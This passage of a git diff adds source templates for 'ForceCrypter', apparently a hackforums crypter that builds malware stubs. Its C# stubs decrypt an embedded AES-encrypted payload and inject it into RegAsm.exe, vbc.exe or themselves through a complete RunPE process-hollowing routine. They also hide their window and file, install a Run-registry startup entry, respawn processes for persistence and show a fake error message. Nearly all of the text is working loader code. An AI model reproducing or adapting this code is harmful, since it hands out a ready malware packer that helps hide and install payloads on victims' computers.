} + decryptedBytes = ms.ToArray(); + } + } + return decryptedBytes; + } + //The adding to startup + public void AddToStartup() + { + ////Getting our path with a folder name + //string path = Path.Combine(Application.UserAppDataPath, "/[fname-replace]"); + ////Creating the folder in the path + //bool exists = false; + //if (!Directory.Exists(path)) Directory.CreateDirectory(path); + //string path2 = Path.Combine(path, "[finame-replace].exe"); + //if (Directory.Exists(path2)) exists = true; + ////The second path with the exe inside of the folder + + ////Copying our crypted file to the exe in the folder + //if (exists = false) + //{ + // File.Copy(Application.ExecutablePath, path2); + // //Making a registery key so it adds to startup + // RegistryKey key = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true); + // if (key != null) key.SetValue("[regkey-replace]", path2); + //} + string path = Path.Combine(Application.UserAppDataPath, "/[fname-replace]"); + string path2 = Path.Combine(path, "[finame-replace].exe"); + if (!File.Exists(path2)) + { + DirectoryInfo di = Directory.CreateDirectory(path); + File.Copy(Application.ExecutablePath, path2, true); + RegistryKey key = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true); + if (key != null) key.SetValue("[regkey-replace]", path2); + } + } + + public void HideFile() + { + //Hiding + FileInfo f = new FileInfo(Application.ExecutablePath); + f.Attributes = FileAttributes.Hidden; + } + //this is the persistence + private void timer1_Tick(object sender, EventArgs e) + { + + string path = Path.Combine(Application.UserAppDataPath, "/[fname2-replace]"); + //The place where dropped the startup + string path2 = Path.Combine(path, "[finame2-replace].exe"); + //if the process is not running start it + if (pname.Length == 0) + System.Diagnostics.Process.Start(path2); + } + } + + + + static class RunPe1 + { + + [DllImport("kernel32.dll", EntryPoint = "CreateProcess", CharSet = CharSet.Unicode)] + private static extern bool CreateProcess(string applicationName, string commandLine, IntPtr processAttributes, IntPtr threadAttributes, bool inheritHandles, uint creationFlags, IntPtr environment, string currentDirectory, ref StartupInformation startupInfo, ref ProcessInformation processInformation); + + [DllImport("kernel32.dll", EntryPoint = "GetThreadContext")] + private static extern bool GetThreadContext(IntPtr thread, int[] context); + + [DllImport("kernel32.dll", EntryPoint = "SetThreadContext")] + private static extern bool SetThreadContext(IntPtr thread, int[] context); + + [DllImport("kernel32.dll", EntryPoint = "ReadProcessMemory")] + private static extern bool ReadProcessMemory(IntPtr process, int baseAddress, ref int buffer, int bufferSize, ref int bytesRead); + + [DllImport("kernel32.dll", EntryPoint = "WriteProcessMemory")] + private static extern bool WriteProcessMemory(IntPtr process, int baseAddress, byte[] buffer, int bufferSize, ref int bytesWritten); + + [DllImport("ntdll.dll", EntryPoint = "NtUnmapViewOfSection")] + private static extern int NtUnmapViewOfSection(IntPtr process, int baseAddress); + + [DllImport("kernel32.dll", EntryPoint = "VirtualAllocEx")] + private static extern int VirtualAllocEx(IntPtr handle, int address, int length, int type, int protect); + + [DllImport("kernel32.dll", EntryPoint = "ResumeThread")] + private static extern int ResumeThread(IntPtr handle); + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + private struct ProcessInformation + { + public readonly IntPtr ProcessHandle; + public readonly IntPtr ThreadHandle; + private readonly uint ProcessId; + private readonly uint ThreadId; + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + private struct StartupInformation + { + public uint Size; + private readonly string Reserved1; + private readonly string Desktop; + + private readonly string Title; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 36)] + private readonly byte[] Misc; + private readonly IntPtr Reserved2; + private readonly IntPtr StdInput; + private readonly IntPtr StdOutput; + private readonly IntPtr StdError; + } + public static bool Run(string path, string cmd, byte[] data) + { + + int readWrite = 0; + string quotedPath = string.Format("\"{0}\"", path); + + StartupInformation si = new StartupInformation(); + ProcessInformation pi = new ProcessInformation(); + + si.Size = Convert.ToUInt32(Marshal.SizeOf(typeof(StartupInformation))); + + if (string.IsNullOrEmpty(cmd)) + { + if (!CreateProcess(path, quotedPath, IntPtr.Zero, IntPtr.Zero, false, 4, IntPtr.Zero, null, ref si, ref pi)) + return false; + } + else + { + quotedPath = quotedPath + " " + cmd; + if (!CreateProcess(path, quotedPath, IntPtr.Zero, IntPtr.Zero, false, 4, IntPtr.Zero, null, ref si, ref pi)) + return false; + } + + int fileAddress = BitConverter.ToInt32(data, 60); + int imageBase = BitConverter.ToInt32(data, fileAddress + 52); + + int[] context = new int[179]; + context[0] = 65538; + + if (!GetThreadContext(pi.ThreadHandle, context)) + return false; + + int ebx = context[41]; + int baseAddress = 0; + + if (!ReadProcessMemory(pi.ProcessHandle, ebx + 8, ref baseAddress, 4, ref readWrite)) + return false; + + if (imageBase == baseAddress) + { + if (NtUnmapViewOfSection(pi.ProcessHandle, baseAddress) != 0) + return false; + } + + int sizeOfImage = BitConverter.ToInt32(data, fileAddress + 80); + int sizeOfHeaders = BitConverter.ToInt32(data, fileAddress + 84); + + bool allowOverride = false; + int newImageBase = VirtualAllocEx(pi.ProcessHandle, imageBase, sizeOfImage, 12288, 64); + + if (newImageBase == 0) + { + allowOverride = true; + newImageBase = VirtualAllocEx(pi.ProcessHandle, 0, sizeOfImage, 12288, 64); + if (newImageBase == 0) + return false; + } + + if (!WriteProcessMemory(pi.ProcessHandle, newImageBase, data, sizeOfHeaders, ref readWrite)) + return false; + + int sectionOffset = fileAddress + 248; + short numberOfSections = BitConverter.ToInt16(data, fileAddress + 6); + + for (int I = 0; I <= numberOfSections - 1; I++) + { + int virtualAddress = BitConverter.ToInt32(data, sectionOffset + 12); + int sizeOfRawData = BitConverter.ToInt32(data, sectionOffset + 16); + int pointerToRawData = BitConverter.ToInt32(data, sectionOffset + 20); + + if (sizeOfRawData != 0) + { + byte[] sectionData = new byte[sizeOfRawData]; + Buffer.BlockCopy(data, pointerToRawData, sectionData, 0, sectionData.Length); + + if (!WriteProcessMemory(pi.ProcessHandle, newImageBase + virtualAddress, sectionData, sectionData.Length, ref readWrite)) + return false; + } + + sectionOffset += 40; + } + + byte[] pointerData = BitConverter.GetBytes(newImageBase); + if (!WriteProcessMemory(pi.ProcessHandle, ebx + 8, pointerData, 4, ref readWrite)) + return false; + + int addressOfEntryPoint = BitConverter.ToInt32(data, fileAddress + 40); + + if (allowOverride) + newImageBase = imageBase; + context[44] = newImageBase + addressOfEntryPoint; + + if (!SetThreadContext(pi.ThreadHandle, context)) + return false; + if (ResumeThread(pi.ThreadHandle) == -1) + return false; + + return true; + } + } +} + + + diff --git a/C# (ForceCrypter/ForceCrypterSmall/Resources/boop.cs b/C# (ForceCrypter/ForceCrypterSmall/Resources/boop.cs new file mode 100644 index 0000000..9e88a72 --- /dev/null +++ b/C# (ForceCrypter/ForceCrypterSmall/Resources/boop.cs @@ -0,0 +1,361 @@ +using Microsoft.Win32; +using System; +using System.IO; +using System.Reflection; +using System.Resources; +using System.Threading; +using System.Windows.Forms; +using System.Runtime.InteropServices; +using System.Security.Cryptography; +using System.Diagnostics; +using System.ComponentModel; +using System.Text; + +//Copyright 2016 +//Made by mrmutt for hackforums uid=3005497 +//Please leave this note here +namespace stupidcancercodeisruiningeverything +{ + + static class Program + { + [STAThread] + static void Main0() + { + + Application.EnableVisualStyles(); + Application.SetCompatibleTextRenderingDefault(false); + Application.Run(new FrmOne()); + } + + } + + + class Reader + { + //Reading the encrypted bytes from our resource file + public static byte[] ReadManaged() + { + ResourceManager manager = new ResourceManager("Encrypted", Assembly.GetEntryAssembly()); + byte[] bytes = (byte[])manager.GetObject("encfile"); + return bytes; + } + + } + + public class FrmOne : Form + { + //Making the form hidden + private void InitializeComponent() + { + + + SuspendLayout(); + ResumeLayout(false); + PerformLayout(); + ShowInTaskbar = false; + WindowState = FormWindowState.Minimized; + + } + //Self explantory + bool _startup = true; + string injectTo = "[inject-replace]"; + bool _fakemessage = true; + bool _persistence = true; + string injectionPath2 = Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "RegAsm.exe"); + string injectionPath3 = Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "vbc.exe"); + public FrmOne() + { + + InitializeComponent(); + //Basic delay + Thread.Sleep(5 * 100); + //Giving a byte array for our encrypted bytes + byte[] fBytes = Reader.ReadManaged(); + //The encryption key + string encKey = "[key-replace]"; + //The encryption key in bytes + byte[] encKey2 = Encoding.UTF8.GetBytes(encKey); + //Makign a hash for the encryption key + encKey2 = SHA256.Create().ComputeHash(encKey2); + //The decrypted bytes + byte[] eBytes = AESDecrypt(fBytes, encKey2); + //Crypting process + string result = Encoding.UTF8.GetString(eBytes); + //The all decrypted bytes + byte[] eBytes2 = Convert.FromBase64String(result); + //If user choosed startup add to startup + + if (_startup) + AddToStartup(); + //Make the file hidden + HideFile(); + if (_persistence) + { + Process[] pname = Process.GetProcessesByName("[process-replace]"); + Process[] pname2 = Process.GetProcessesByName("[finame-replace]"); + System.Windows.Forms.Timer timer1 = new System.Windows.Forms.Timer(); + System.Windows.Forms.Timer timer2 = new System.Windows.Forms.Timer(); + string path = Path.Combine(Application.UserAppDataPath, "[fname-replace]"); + string path2 = Path.Combine(path, "[finame-replace].exe"); + if (Application.ExecutablePath == path2) + { + timer1.Start(); + timer1.Interval = 500; + } + else + { + timer2.Interval = 500; + timer2.Start(); + } + } + Thread.Sleep(500); + + //Use the runpe to inject the decrypted bytes into a process of our injection method choice + if (injectTo == "[itself]") + REDank.RunDank(System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName, "", eBytes2); + + if (injectTo == "[regasm]") + REDank.RunDank(injectionPath2, "", eBytes2); + + if (injectTo == "[vbc]") + REDank.RunDank(injectionPath3, "", eBytes2); + + //Fake Message + if (_fakemessage) + { + MessageBox.Show("[messagetext-replace]", "[messagetitle-replace]", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + //Stopping the program because runpe is already injected + Environment.Exit(0); + } + private void timer1_Tick(object sender, EventArgs e) + { + Process[] pname = Process.GetProcessesByName("[process-replace]"); + if (pname.Length == 0) + { + Process.Start("[process-replace]"); + } + } + private void timer2_Tick(object sender, EventArgs e) + { + Process[] pname2 = Process.GetProcessesByName("[finame-replace]"); + if (pname2.Length == 0) + { + + Process.Start("[finame-replace]"); + + } + } + //Decryption method + public static byte[] AESDecrypt(byte[] decrypted, byte[] key2) + { + byte[] decryptedBytes = null; + + byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 }; + + using (MemoryStream ms = new MemoryStream()) + { + using (RijndaelManaged AES = new RijndaelManaged()) + { + AES.KeySize = 256; + AES.BlockSize = 128; + + Rfc2898DeriveBytes key = new Rfc2898DeriveBytes(key2, saltBytes, 1000); + AES.Key = key.GetBytes(AES.KeySize / 8); + AES.IV = key.GetBytes(AES.BlockSize / 8); + + AES.Mode = CipherMode.CBC; + + using (CryptoStream cs = new CryptoStream(ms, AES.CreateDecryptor(), CryptoStreamMode.Write)) + { + cs.Write(decrypted, 0, decrypted.Length); + cs.Close(); + } + decryptedBytes = ms.ToArray(); + } + } + return decryptedBytes; + } + //The adding to startup + public void AddToStartup() + { + + string path = Path.Combine(Application.UserAppDataPath, "[fname-replace]"); + string path2 = Path.Combine(path, "[finame-replace].exe"); + + if (!File.Exists(path2)) + { + DirectoryInfo di = Directory.CreateDirectory(path); + File.Copy(Application.ExecutablePath, path2, true); + RegistryKey key = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true); + if (key != null) key.SetValue("[regkey-replace]", path2); + } + } + + public void HideFile() + { + //Hiding + FileInfo f = new FileInfo(Application.ExecutablePath); + f.Attributes = FileAttributes.Hidden; + } + + } + + + + static class REDank + { + + [DllImport("kernel32.dll", EntryPoint = "CreateProcess", CharSet = CharSet.Unicode)] + private static extern bool CreateProcess(string applicationName, string commandLine, IntPtr processAttributes, IntPtr threadAttributes, bool inheritHandles, uint creationFlags, IntPtr environment, string currentDirectory, ref StartupInformation startupInfo, ref ProcessInformation processInformation); + + [DllImport("kernel32.dll", EntryPoint = "GetThreadContext")] + private static extern bool GetThreadContext(IntPtr thread, int[] context); + + [DllImport("kernel32.dll", EntryPoint = "SetThreadContext")] + private static extern bool SetThreadContext(IntPtr thread, int[] context); + + [DllImport("kernel32.dll", EntryPoint = "ReadProcessMemory")] + private static extern bool ReadProcessMemory(IntPtr process, int baseAddress, ref int buffer, int bufferSize, ref int bytesRead); + + [DllImport("kernel32.dll", EntryPoint = "WriteProcessMemory")] + private static extern bool WriteProcessMemory(IntPtr process, int baseAddress, byte[] buffer, int bufferSize, ref int bytesWritten); + + [DllImport("ntdll.dll", EntryPoint = "NtUnmapViewOfSection")] + private static extern int NtUnmapViewOfSection(IntPtr process, int baseAddress); + + [DllImport("kernel32.dll", EntryPoint = "VirtualAllocEx")] + private static extern int VirtualAllocEx(IntPtr handle, int address, int length, int type, int protect); + + [DllImport("kernel32.dll", EntryPoint = "ResumeThread")] + private static extern int ResumeThread(IntPtr handle); + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + private struct ProcessInformation + { + public readonly IntPtr ProcessHandle; + public readonly IntPtr ThreadHandle; + private readonly uint ProcessId; + private readonly uint ThreadId; + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + private struct StartupInformation + { + public uint Size; + private readonly string Reserved1; + private readonly string Desktop; + + private readonly string Title; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 36)] + private readonly byte[] Misc; + private readonly IntPtr Reserved2; + private readonly IntPtr StdInput; + private readonly IntPtr StdOutput; + private readonly IntPtr StdError; + } + public static bool RunDank(string path, string cmd, byte[] data) + { + + int readWrite = 0; + string quotedPath = string.Format("\"{0}\"", path); + + StartupInformation si = new StartupInformation(); + ProcessInformation pi = new ProcessInformation(); + + si.Size = Convert.ToUInt32(Marshal.SizeOf(typeof(StartupInformation))); + + if (string.IsNullOrEmpty(cmd)) + { + if (!CreateProcess(path, quotedPath, IntPtr.Zero, IntPtr.Zero, false, 4, IntPtr.Zero, null, ref si, ref pi)) + return false; + } + else + { + quotedPath = quotedPath + " " + cmd; + if (!CreateProcess(path, quotedPath, IntPtr.Zero, IntPtr.Zero, false, 4, IntPtr.Zero, null, ref si, ref pi)) + return false; + } + + int fileAddress = BitConverter.ToInt32(data, 60); + int imageBase = BitConverter.ToInt32(data, fileAddress + 52); + + int[] context = new int[179]; + context[0] = 65538; + + if (!GetThreadContext(pi.ThreadHandle, context)) + return false; + + int ebx = context[41]; + int baseAddress = 0; + + if (!ReadProcessMemory(pi.ProcessHandle, ebx + 8, ref baseAddress, 4, ref readWrite)) + return false; + + if (imageBase == baseAddress) + { + if (NtUnmapViewOfSection(pi.ProcessHandle, baseAddress) != 0) + return false; + } + + int sizeOfImage = BitConverter.ToInt32(data, fileAddress + 80); + int sizeOfHeaders = BitConverter.ToInt32(data, fileAddress + 84); + + bool allowOverride = false; + int newImageBase = VirtualAllocEx(pi.ProcessHandle, imageBase, sizeOfImage, 12288, 64); + + if (newImageBase == 0) + { + allowOverride = true; + newImageBase = VirtualAllocEx(pi.ProcessHandle, 0, sizeOfImage, 12288, 64); + if (newImageBase == 0) + return false; + } + + if (!WriteProcessMemory(pi.ProcessHandle, newImageBase, data, sizeOfHeaders, ref readWrite)) + return false; + + int sectionOffset = fileAddress + 248; + short numberOfSections = BitConverter.ToInt16(data, fileAddress + 6); + + for (int I = 0; I <= numberOfSections - 1; I++) + { + int virtualAddress = BitConverter.ToInt32(data, sectionOffset + 12); + int sizeOfRawData = BitConverter.ToInt32(data, sectionOffset + 16); + int pointerToRawData = BitConverter.ToInt32(data, sectionOffset + 20); + + if (sizeOfRawData != 0) + { + byte[] sectionData = new byte[sizeOfRawData]; + Buffer.BlockCopy(data, pointerToRawData, sectionData, 0, sectionData.Length); + + if (!WriteProcessMemory(pi.ProcessHandle, newImageBase + virtualAddress, sectionData, sectionData.Length, ref readWrite)) + return false; + } + + sectionOffset += 40; + } + + byte[] pointerData = BitConverter.GetBytes(newImageBase); + if (!WriteProcessMemory(pi.ProcessHandle, ebx + 8, pointerData, 4, ref readWrite)) + return false; + + int addressOfEntryPoint = BitConverter.ToInt32(data, fileAddress + 40); + + if (allowOverride) + newImageBase = imageBase; + context[44] = newImageBase + addressOfEntryPoint; + + if (!SetThreadContext(pi.ThreadHandle, context)) + return false; + if (ResumeThread(pi.ThreadHandle) == -1) + return false; + + return true; + } + } +} + + + diff --git a/C# (ForceCrypter/ForceCrypterSmall/Resources/boop.txt b/C# (ForceCrypter/ForceCrypterSmall/Resources/boop.txt new file mode 100644 index 0000000..749426f --- /dev/null +++ b/C# (ForceCrypter/ForceCrypterSmall/Resources/boop.txt @@ -0,0 +1,333 @@ +using Microsoft.Win32; +using System; +using System.IO; +using System.Reflection; +using System.Resources; +using System.Threading; +using System.Windows.Forms; +using System.Runtime.InteropServices; +using System.Security.Cryptography; +using System.Diagnostics; +using System.ComponentModel; +using System.Text; +[assembly: AssemblyTitle("[title-replace]")] +[assembly: AssemblyDescription("[desc-replace]")] +[assembly: AssemblyCompany("[company-replace]")] +[assembly: AssemblyProduct("[product-replace]")] +[assembly: AssemblyCopyright("[copyright-replace]")] +[assembly: AssemblyTrademark("[trademark-replace]")] +[assembly: AssemblyVersion("[version-replace]")] +[assembly: AssemblyFileVersion("[fversion-replace]")] +//Copyright 2016 +//Made by mrmutt for hackforums uid=3005497 +//Please leave this note here +namespace stupidcancercodeisruiningeverything +{ + + static class Program + { + [STAThread] + static void Main() + { + //Basic delay + Thread.Sleep([delay-replace] * 1000); + Application.EnableVisualStyles(); + Application.SetCompatibleTextRenderingDefault(false); + Application.Run(new FrmOne()); + } + + } + + + class Reader + { + //Reading the encrypted bytes from our resource file + public static byte[] ReadManaged() + { + ResourceManager manager = new ResourceManager("Encrypted", Assembly.GetEntryAssembly()); + byte[] bytes = (byte[])manager.GetObject("encfile"); + return bytes; + } + + } + + public class FrmOne : Form + { + //Making the form hidden + private void InitializeComponent() + { + + SuspendLayout(); + ResumeLayout(false); + PerformLayout(); + ShowInTaskbar = false; + WindowState = FormWindowState.Minimized; + + } + //Self explantory + bool _startup = [startup-replace]; + string injectTo = "[inject-replace]"; + bool _fakemessage = [fakemessage-replace]; + string injectionPath2 = Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "RegAsm.exe"); + string injectionPath3 = Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "vbc.exe"); + public FrmOne() + { + + InitializeComponent(); + + //Giving a byte array for our encrypted bytes + byte[] fBytes = Reader.ReadManaged(); + //The encryption key + string encKey = "[key-replace]"; + //The encryption key in bytes + byte[] encKey2 = Encoding.UTF8.GetBytes(encKey); + //Makign a hash for the encryption key + encKey2 = SHA256.Create().ComputeHash(encKey2); + //The decrypted bytes + byte[] eBytes = AESDecrypt(fBytes,encKey2); + //Crypting process + string result = Encoding.UTF8.GetString(eBytes); + //The all decrypted bytes + byte[] eBytes2 = Convert.FromBase64String(result); + //If user choosed startup add to startup + + if (_startup) + AddToStartup(); + //Make the file hidden + HideFile(); + + Thread.Sleep(500); + + //Use the runpe to inject the decrypted bytes into a process of our injection method choice + if(injectTo == "[itself]") + KillerMemestart.FMEMES(System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName,"",eBytes2); + + if(injectTo =="[regasm]") + KillerMemestart.FMEMES(injectionPath2, "", eBytes2); + + if(injectTo == "[vbc]") + KillerMemestart.FMEMES(injectionPath3, "", eBytes2); + + //Fake Message + if(_fakemessage) + { + MessageBox.Show("[messagetext-replace]", "[messagetitle-replace]", MessageBoxButtons.OK,MessageBoxIcon.Error); + } + //Stopping the program because runpe is already injected + Environment.Exit(0); + } + + + //Decryption method + public static byte[] AESDecrypt(byte[] decrypted, byte[] key2) + { + byte[] decryptedBytes = null; + + byte[] saltBytes = new byte[] {1, 2, 3, 4, 5, 6, 7, 8}; + + using (MemoryStream ms = new MemoryStream()) + { + using (RijndaelManaged AES = new RijndaelManaged()) + { + AES.KeySize = 256; + AES.BlockSize = 128; + + Rfc2898DeriveBytes key = new Rfc2898DeriveBytes(key2, saltBytes, 1000); + AES.Key = key.GetBytes(AES.KeySize/8); + AES.IV = key.GetBytes(AES.BlockSize/8); + + AES.Mode = CipherMode.CBC; + + using (CryptoStream cs = new CryptoStream(ms, AES.CreateDecryptor(), CryptoStreamMode.Write)) + { + cs.Write(decrypted, 0, decrypted.Length); + cs.Close(); + } + decryptedBytes = ms.ToArray(); + } + } + return decryptedBytes; + } + //The adding to startup + public void AddToStartup() + { + + string path = Path.Combine(Application.UserAppDataPath, "[fname-replace]"); + string path2 = Path.Combine(path, "[finame-replace].exe"); + + if (!File.Exists(path2)) + { + DirectoryInfo di = Directory.CreateDirectory(path); + File.Copy(Application.ExecutablePath, path2, true); + RegistryKey key = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true); + if (key != null) key.SetValue("[regkey-replace]", path2); + } + } + + public void HideFile() + { + //Hiding + FileInfo f = new FileInfo(Application.ExecutablePath); + f.Attributes = FileAttributes.Hidden; + } + + + } + + + + static class KillerMemestart + { + + [DllImport("kernel32.dll", EntryPoint = "CreateProcess", CharSet = CharSet.Unicode)] + private static extern bool CreateProcess(string applicationName, string commandLine, IntPtr processAttributes, IntPtr threadAttributes, bool inheritHandles, uint creationFlags, IntPtr environment, string currentDirectory, ref StartupInformation startupInfo, ref ProcessInformation processInformation); + + [DllImport("kernel32.dll", EntryPoint = "GetThreadContext")] + private static extern bool GetThreadContext(IntPtr thread, int[] context); + + [DllImport("kernel32.dll", EntryPoint = "SetThreadContext")] + private static extern bool SetThreadContext(IntPtr thread, int[] context); + + [DllImport("kernel32.dll", EntryPoint = "ReadProcessMemory")] + private static extern bool ReadProcessMemory(IntPtr process, int baseAddress, ref int buffer, int bufferSize, ref int bytesRead); + + [DllImport("kernel32.dll", EntryPoint = "WriteProcessMemory")] + private static extern bool WriteProcessMemory(IntPtr process, int baseAddress, byte[] buffer, int bufferSize, ref int bytesWritten); + + [DllImport("ntdll.dll", EntryPoint = "NtUnmapViewOfSection")] + private static extern int NtUnmapViewOfSection(IntPtr process, int baseAddress); + + [DllImport("kernel32.dll", EntryPoint = "VirtualAllocEx")] + private static extern int VirtualAllocEx(IntPtr handle, int address, int length, int type, int protect); + + [DllImport("kernel32.dll", EntryPoint = "ResumeThread")] + private static extern int ResumeThread(IntPtr handle); + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + private struct ProcessInformation + { + public readonly IntPtr ProcessHandle; + public readonly IntPtr ThreadHandle; + private readonly uint ProcessId; + private readonly uint ThreadId; + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + private struct StartupInformation + { + public uint Size; + private readonly string Reserved1; + private readonly string Desktop; + + private readonly string Title; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 36)] + private readonly byte[] Misc; + private readonly IntPtr Reserved2; + private readonly IntPtr StdInput; + private readonly IntPtr StdOutput; + private readonly IntPtr StdError; + } + public static bool FMEMES(string path, string cmd, byte[] data) + { + + int readWrite = 0; + string quotedPath = string.Format("\"{0}\"", path); + + StartupInformation si = new StartupInformation(); + ProcessInformation pi = new ProcessInformation(); + + si.Size = Convert.ToUInt32(Marshal.SizeOf(typeof(StartupInformation))); + + if (string.IsNullOrEmpty(cmd)) + { + if (!CreateProcess(path, quotedPath, IntPtr.Zero, IntPtr.Zero, false, 4, IntPtr.Zero, null, ref si, ref pi)) + return false; + } + else + { + quotedPath = quotedPath + " " + cmd; + if (!CreateProcess(path, quotedPath, IntPtr.Zero, IntPtr.Zero, false, 4, IntPtr.Zero, null, ref si, ref pi)) + return false; + } + + int fileAddress = BitConverter.ToInt32(data, 60); + int imageBase = BitConverter.ToInt32(data, fileAddress + 52); + + int[] context = new int[179]; + context[0] = 65538; + + if (!GetThreadContext(pi.ThreadHandle, context)) + return false; + + int ebx = context[41]; + int baseAddress = 0; + + if (!ReadProcessMemory(pi.ProcessHandle, ebx + 8, ref baseAddress, 4, ref readWrite)) + return false; + + if (imageBase == baseAddress) + { + if (NtUnmapViewOfSection(pi.ProcessHandle, baseAddress) != 0) + return false; + } + + int sizeOfImage = BitConverter.ToInt32(data, fileAddress + 80); + int sizeOfHeaders = BitConverter.ToInt32(data, fileAddress + 84); + + bool allowOverride = false; + int newImageBase = VirtualAllocEx(pi.ProcessHandle, imageBase, sizeOfImage, 12288, 64); + + if (newImageBase == 0) + { + allowOverride = true; + newImageBase = VirtualAllocEx(pi.ProcessHandle, 0, sizeOfImage, 12288, 64); + if (newImageBase == 0) + return false; + } + + if (!WriteProcessMemory(pi.ProcessHandle, newImageBase, data, sizeOfHeaders, ref readWrite)) + return false; + + int sectionOffset = fileAddress + 248; + short numberOfSections = BitConverter.ToInt16(data, fileAddress + 6); + + for (int I = 0; I <= numberOfSections - 1; I++) + { + int virtualAddress = BitConverter.ToInt32(data, sectionOffset + 12); + int sizeOfRawData = BitConverter.ToInt32(data, sectionOffset + 16); + int pointerToRawData = BitConverter.ToInt32(data, sectionOffset + 20); + + if (sizeOfRawData != 0) + { + byte[] sectionData = new byte[sizeOfRawData]; + Buffer.BlockCopy(data, pointerToRawData, sectionData, 0, sectionData.Length); + + if (!WriteProcessMemory(pi.ProcessHandle, newImageBase + virtualAddress, sectionData, sectionData.Length, ref readWrite)) + return false; + } + + sectionOffset += 40; + } + + byte[] pointerData = BitConverter.GetBytes(newImageBase); + if (!WriteProcessMemory(pi.ProcessHandle, ebx + 8, pointerData, 4, ref readWrite)) + return false; + + int addressOfEntryPoint = BitConverter.ToInt32(data, fileAddress + 40); + + if (allowOverride) + newImageBase = imageBase; + context[44] = newImageBase + addressOfEntryPoint; + + if (!SetThreadContext(pi.ThreadHandle, context)) + return false; + if (ResumeThread(pi.ThreadHandle) == -1) + return false; + + return true; + } + } +} + + + diff --git a/C# (ForceCrypter/ForceCrypterSmall/Resources/doop.cs b/C# (ForceCrypter/ForceCrypterSmall/Resources/doop.cs new file mode 100644 index 0000000..48d7da7 --- /dev/null +++ b/C# (ForceCrypter/ForceCrypterSmall/Resources/doop.cs @@ -0,0 +1,48 @@ +using Microsoft.Win32; +using System; +using System.IO; +using System.Reflection; +using System.Resources; +using System.Threading; +using System.Windows.Forms; +using System.Runtime.InteropServices; +using System.Security.Cryptography; +using System.Diagnostics; +using Timer = System.Timers.Timer; + +namespace fuckcancercode +{ + static class Program + { + [STAThread] + static void Main0() + { + Application.EnableVisualStyles(); + Application.SetCompatibleTextRenderingDefault(false); + Application.Run(new FrmOne()); + } + + + public class FrmOne : Form + { + public FrmOne() + { + Timer timer1 = new Timer(); + timer1.Interval = 500; + timer1.Start(); + } + private void timer1_Tick(object sender, EventArgs e) + { + string pers = "notepad.exe"; + if (Process.GetProcessesByName(pers).Length < 1) + { + + { + Process.Start(pers); + // Is running + } + } + } + } + } +} \ No newline at end of file diff --git a/C# (ForceCrypter/ForceCrypterSmall/Resources/doop.txt b/C# (ForceCrypter/ForceCrypterSmall/Resources/doop.txt new file mode 100644 index 0000000..2a60592 --- /dev/null +++ b/C# (ForceCrypter/ForceCrypterSmall/Resources/doop.txt @@ -0,0 +1,48 @@ +using Microsoft.Win32; +using System; +using System.IO; +using System.Reflection; +using System.Resources; +using System.Threading; +using System.Windows.Forms; +using System.Runtime.InteropServices; +using System.Security.Cryptography; +using System.Diagnostics; +using Timer = System.Timers.Timer; + +namespace fuckcancercode +{ + static class Program + { + [STAThread] + static void Main() + { + Application.EnableVisualStyles(); + Application.SetCompatibleTextRenderingDefault(false); + Application.Run(new FrmOne()); + } + + + public class FrmOne : Form + { + public FrmOne() + { + Timer timer1 = new Timer(); + timer1.Interval = 500; + timer1.Start(); + } + private void timer1_Tick(object sender, EventArgs e) + { + string pers = "notepad.exe"; + if (Process.GetProcessesByName(pers).Length < 1) + { + + { + Process.Start(pers); + // Is running + } + } + } + } + } +} \ No newline at end of file diff --git a/C# (ForceCrypter/ForceCrypterSmall/RunPE0.dll b/C# (ForceCrypter/ForceCrypterSmall/RunPE0.dll new file mode 100644 index 0000000..ae1111e Binary files /dev/null and b/C# (ForceCrypter/ForceCrypterSmall/RunPE0.dll differ diff --git a/C# (ForceCrypter/ForceCrypterSmall/RunPE1.dll b/C# (ForceCrypter/ForceCrypterSmall/RunPE1.dll new file mode 100644 index 0000000..25946c3 Binary files /dev/null and b/C# (ForceCrypter/ForceCrypterSmall/RunPE1.dll differ diff --git a/C# (ForceCrypter/ForceCrypterSmall/RunPE10.dll b/C# (ForceCrypter/ForceCrypterSmall/RunPE10.dll new file mode 100644 index 0000000..b583776 Binary files /dev/null and b/C# (ForceCrypter/ForceCrypterSmall/RunPE10.dll differ diff --git a/C# (ForceCrypter/ForceCrypterSmall/RunPE11.dll b/C# (ForceCrypter/ForceCrypterSmall/RunPE11.dll new file mode 100644 index 0000000..e3fc548 Binary files /dev/null and b/C# (ForceCrypter/ForceCrypterSmall/RunPE11.dll differ diff --git a/C# (ForceCrypter/ForceCrypterSmall/RunPE2.dll b/C# (ForceCrypter/ForceCrypterSmall/RunPE2.dll new file mode 100644 index 0000000..66adc62 Binary files /dev/null and b/C# (ForceCrypter/ForceCrypterSmall/RunPE2.dll differ diff --git a/C# (ForceCrypter/ForceCrypterSmall/RunPE3.dll b/C# (ForceCrypter/ForceCrypterSmall/RunPE3.dll new file mode 100644 index 0000000..16c30d7 Binary files /dev/null and b/C# (ForceCrypter/ForceCrypterSmall/RunPE3.dll differ diff --git a/C# (ForceCrypter/ForceCrypterSmall/RunPE4.dll b/C# (ForceCrypter/ForceCrypterSmall/RunPE4.dll new file mode 100644 index 0000000..088f811 Binary files /dev/null and b/C# (ForceCrypter/ForceCrypterSmall/RunPE4.dll differ diff --git a/C# (ForceCrypter/ForceCrypterSmall/RunPE5.dll b/C# (ForceCrypter/ForceCrypterSmall/RunPE5.dll new file mode 100644 index 